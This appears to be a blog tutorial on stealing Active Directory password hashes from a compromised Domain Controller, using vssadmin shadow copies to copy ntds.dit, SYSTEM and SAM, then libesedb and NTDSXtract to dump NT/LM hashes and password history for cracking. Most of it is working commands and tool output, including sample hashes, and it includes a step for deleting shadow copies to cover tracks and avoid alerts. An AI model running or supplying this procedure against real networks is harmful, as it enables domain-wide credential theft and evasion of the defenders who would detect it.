Getting Hashes from NTDS.dit file

Read a writeup from @Mubix about doing this and noticed that some changes had come to the NTDSxtract software which made things a little easier, so I decided to do a write up on on the two versions

Why do you want to do this anyways?
The reason you would want to pull the ntds.dit file from a Domain Controller after you have compromised it is because you do not want to create a new Domain Administrator account (could set off alerts) and need password hashes; or you need a password for another account to access data you want (ie. SQL Server accounts).

Get the ntds.dit and SYSTEM from Volume Shadow Copy on a Domain Controller

1. Vssadmin tool

1.1 List Volume Shadow Copies on the system:

Example: ‘vssadmin list shadows’ no Shadows Available

C:\>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line too
(C) Copyright 2001 Microsoft Corp.
No items found that satisfy the query.

1.2. Create a new Volume Shadow Copy of the current drive:

Example: ‘vssadmin create shadow’ copy:

C:\>vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001 Microsoft Corp.

Successfully created shadow copy for ‘c:\’
Shadow Copy ID: {e8eb7931-5056-4f7d-a5d7-05c30da3e1b3}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

2. Pull files from the Volume Shadow copy

copy \\?\GLOBALROOT\Device\<SHADOWYCOPY DISK>\windows\<directory>\<File> <where to put file>
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM .

 [X] Refers to the shadow copy number, in the examples above the latest versions is HarddiskVolumeShadowCopy1 (there could be multiple copies, use the last one listed)

I would also recommend getting a current copy of SYSTEM from the registry just in case.

reg SAVE HKLM/SYSTEM c:\SYS

I have had a couple times where the SYSTEM file from the shadow copy was corrupt.

3. Delete the shadows to cover your tracks:

vssadmin delete shadows /for=<ForVolumeSpec> [/oldest | /all | /shadow=<ShadowID>] [/quiet]
vssadmin delete shadows /for=C: /shadow= e8eb7931-5056-4f7d-a5d7-05c30da3e1b3

4. Optional VSSOwn Script to help with this task:

http://ptscripts.googlecode.com/svn/trunk/windows/vssown.vbs

5. Now that you have the files, it is time to get the hashes

5.1 Utilities needed:

  • libesedb
  • ntdsxtract

5.2 libesedb

https://code.google.com/p/libesedb/
http://libesedb.googlecode.com/files/libesedb-alpha-20120102.tar.gz

Extract the files

# tar -xzvf libesedb-alpha-20120102.tar.gz

Compile/make libesedb

# cd libesedb-20120102
# ./configure
# make

Need to move this somewhere like ‘/usr/local/’

# mv esedbtools/ /usr/local
# cd esedbtools/

esedbexport usage:

Use esedbexport to export items stored in an Extensible Storage Engine (ESE)
Database (EDB) file

Usage: esedbexport [ -c codepage ] [ -l logfile ] [ -m mode ] [ -t target ]
[ -T table_name ] [ -hvV ] source
source: the source file
-c:     codepage of ASCII strings, options: ascii, windows-874,
windows-932, windows-936, windows-1250, windows-1251,
windows-1252 (default), windows-1253, windows-1254
windows-1255, windows-1256, windows-1257 or windows-1258
-h:     shows this help
-l:     logs information about the exported items
-m:     export mode, option: all, tables (default)
'all' exports all the tables or a single specified table with indexes,
'tables' exports all the tables or a single specified table
-t:     specify the basename of the target directory to export to
(default is the source filename) esedbexport will add the suffix
.export to the basename
-T:     exports only a specific table
-v:     verbose output to stderr
-V:     print version

Run esedbexport to extract ntds.dit data :

./esedbexport  -t  <Directory to export data to(will add .export to the end)> <ntds.dit file>
# ./esedbexport  -t ~/ntds ~/ntds.dit
esedbexport 20120102
Opening file.

Exporting table 1 (MSysObjects) out of 11.
Exporting table 2 (MSysObjectsShadow) out of 11.
Exporting table 3 (MSysUnicodeFixupVer1) out of 11.
Exporting table 4 (datatable) out of 11.
Exporting table 5 (link_table) out of 11.
Exporting table 6 (hiddentable) out of 11.
Exporting table 7 (sdproptable) out of 11.
Exporting table 8 (sd_table) out of 11.
Exporting table 9 (quota_table) out of 11.
Exporting table 10 (quota_rebuild_progress_table) out of 11.
Exporting table 11 (MSysDefrag1) out of 11.
Export completed.

Extracted files:

# ls ~/ntdis.export/
MSysObjects.0
MSysObjectsShadow.1
MSysUnicodeFixupVer1.2
datatable.3
link_table.4
hiddentable.5
sdproptable.6
sd_table.7
quota_table.8
quota_rebuild_progress_table.9
MSysDefrag1.10

5.3 NTDSXtract:

http://www.ntdsxtract.com/
http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_2_beta.zip
# unzip ntdsxtract_v1_0.zip
# cd NTDSXtract\ 1.0/

To update to the new 1.2 Beta version unzip the contents in side the “NTDSXtract 1.0”
(You might want to rename the directory to just NTDSXtract)

# unzip ntdsxtract_v1_2_beta.zip

Usage for dsuser.py (Version 1.0 and 1.2 Beta)

Ver 1.0

 # python dsusers.py
 DSUsers
 Extracts information related to user objects
 usage: dsusers.py <datatable> <linktable> [option]
 options:
 --rid <user rid>
 List user identified by RID
 --name <user name>
 List user identified by Name
 --passwordhashes <system hive>
 Extract password hashes
 --passwordhistory <system hive>
 Extract password history
 --certificates
 Extract certificates
 --supplcreds <system hive>
 Extract kerberos keys
 --membership
 List groups of which the user is a member

Ver 1.2

 # python ../NTDSXtract\ 1.0/dsusers.py 
 DSUsers v1.2
 Extracts information related to user objects
 usage: ../NTDSXtract 1.0/dsusers.py <datatable> <linktable> <work directory> [option]
 datatable
 The path to the file called datatable extracted by esedbexport
   linktable
 The path to the file called linktable extracted by esedbexport
 work directory
 The path to the directory where ntdsxtract should store its
 cache files and output files. If the directory does not exist
 it will be created.

 options:
 --rid <user rid>
 List user identified by RID
 --name <user name>
 List user identified by Name
     --syshive <path to system hive>
 Required for password hash and history extraction
 This option should be specified before the password hash
 and password history extraction options!
 --lmoutfile    <name of the LM hash output file>
 --ntoutfile      <name of the NT hash output file>
 --pwdformat  <format of the hash output>
 ophc - OphCrack format
 When this format is specified the NT output file will be used
 john - John The Ripper format
 --passwordhashes
 Extract password hashes
     --passwordhistory
 Extract password history
 --certificates
 Extract certificates
 --supplcreds
 Extract kerberos keys
 --membership
 List groups of which the user is a member
 --csvoutfile <name of the CSV output file>
The filename of the csv file to which ntdsxtract should write the output

Extract user info:

Ver 1.0

# python dsusers.py ~/ntds.export/datatable.3 ~/ntds.export/link_table.4 --passwordhashes ~/sys --passwordhistory ../sys
Running with options:
Extracting password hashes
Extracting password history
Initialising engine...
Scanning database - 100% -> 40933 records processed
Extracting schema information - 100% -> 4142 records processed
Extracting object links...

List of users:
==============
Record ID:           1815
User name:           Administrator
User principal name: Administrator@DOMAIN
SAM Account name:    Administrator
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 3543ea4c-f755-4758-97c0-3d63dffc96ad
SID:  S-1-5-21-657512695-1375287660-316888650-500
When created:         2004-01-16 19:31:25
When changed:         2013-10-03 16:10:29
Account expires:      Never
Password last set:    2006-08-22 11:53:34.828125
Last logon:           2013-10-03 19:11:25.366397
Last logon timestamp: 2013-09-30 10:43:09.479359
Bad password time     2013-10-03 17:36:20.168265
Logon count:          65535
Bad password count:   0
User Account Control:
NORMAL_ACCOUNT
PWD Never Expires
Ancestors:
$ROOT_OBJECT$ priv DOMAIN main Domain Admins Administrator
Password hashes:
    Administrator:$NT$0817033191709a45c93baa986d933d0e:::
Password history:
    Administrator_nthistory0:$NT$0817033191709a45c93baa986d933d0e:::
    Administrator_nthistory1:$NT$70aa17fabbaf3b0511f430844c6de431:::
    Administrator_lmhistory0:f8eab0fa471aff3edab057c59e5d0aa5:::
Record ID:           1816
User name:           Guest
User principal name:
SAM Account name:    Guest
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 2e792141-c4be-43b2-a4f5-079e5d05e184
SID:  S-1-5-21-657512695-1375287660-316888650-501
When created:         2004-01-16 19:31:25
When changed:         2013-10-03 15:19:28
Account expires:      Never
Password last set:    Never
Last logon:           Never
Last logon timestamp: Never
Bad password time     2013-10-03 18:18:45.096975
Logon count:          0
Bad password count:   1
User Account Control:
Disabled
PWD Not Required
NORMAL_ACCOUNT
PWD Never Expires
Ancestors:
$ROOT_OBJECT$ priv DOMAIN main Users Guest
Password hashes:
Password history:

….(Continues for each Account)….

Ver 1.2 (Output in JTR Format)

python dsusers.py ~/ntds.export/datatable.3  ~/ntds.export/link_table.4 ~/TEMP  --passwordhashes --passwordhistory --lmoutfile LM.out --ntoutfile NT.out --pwdformat john --syshive ~/SYSTEM

List of users:
==============
Record ID:           32777
User name:           joe smith
User principal name: email@address.net
SAM Account name:    jsmith
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 14c15e2a-8f7c-4404-a63c-cb6a4c689c00
SID:  S-1-5-21-349701255-3731294407-2303513147-3800
When created:         2005-06-01 13:50:37
When changed:         2013-12-12 15:08:12
Account expires:      Never
Password last set:    2013-10-07 13:20:19.146593
Last logon:           2013-12-11 18:35:10.166785
Last logon timestamp: 2013-12-12 15:08:12.281517
Bad password time     2013-12-11 00:04:52.446209
Logon count:          6239
Bad password count:   0
User Account Control:
NORMAL_ACCOUNT
Ancestors:
$ROOT_OBJECT$ local DOMAIN JOB Users joe smith
Password hashes:
name:$NT$2e8fc4b95229a6ea67b1f69d04ee4000:::
name:e4c2436ddd1f655c6eedd0fa5525f000:::

….(Continues for each Account)….

Version 1.2 allows you to extract the hashes into two files, one for LM hashes the other for NT hashes, and currently supports two hash output types; Ophcrack and John.

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